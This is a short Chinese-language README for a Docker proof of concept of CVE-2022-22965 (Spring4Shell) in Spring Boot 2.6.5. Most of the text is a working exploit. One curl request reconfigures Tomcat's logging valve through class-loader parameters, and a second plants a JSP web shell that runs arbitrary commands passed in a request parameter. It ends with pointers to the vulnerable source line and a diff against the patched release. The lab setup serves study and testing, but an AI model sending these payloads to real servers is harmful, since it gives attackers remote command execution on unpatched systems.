针对 Spring Boot 2.6.5 版本的 CVE-2022-22965 Docker PoC
docker compose up --build 构建并启动易受攻击的应用程序。curl -H "Accept: text/html;" "http://localhost:8080/demo/itsecurityco?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7b%63%6f%64%65%7d%69&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=" 修改 Tomcat 配置阀门。curl -H "Accept: text/html;" -H "code: <% java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter(String.valueOf(1337))).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1) { out.println(new String(b)); } %>" "http://localhost:8080/demo/x" 创建 Web Shell。Spring Framework 5.3.17（易受攻击）和 Spring Framework 5.3.18（已修补）的源代码可分别从以下地址下载：
$ wget https://github.com/spring-projects/spring-framework/archive/refs/tags/v5.3.17.zip
$ wget https://github.com/spring-projects/spring-framework/archive/refs/tags/v5.3.18.zip
漏洞位于 /spring-beans/src/main/java/org/springframework/beans/CachedIntrospectionResults.java 文件的第 290 行，该处对 Class.getClassLoader() 和 getProtectionDomain() 方法进行了验证，但未对 ClassLoader、ProtectionDomain 类型和 PropertyDescriptors 名称进行验证。
易受攻击代码与修补代码之间的差异可通过 diff 命令获得。
$ diff spring-framework-5.3.17/spring-beans/src/main/java/org/springframework/beans/CachedIntrospectionResults.java spring-framework-5.3.18/spring-beans/src/main/java/org/springframework/beans/CachedIntrospectionResults.java
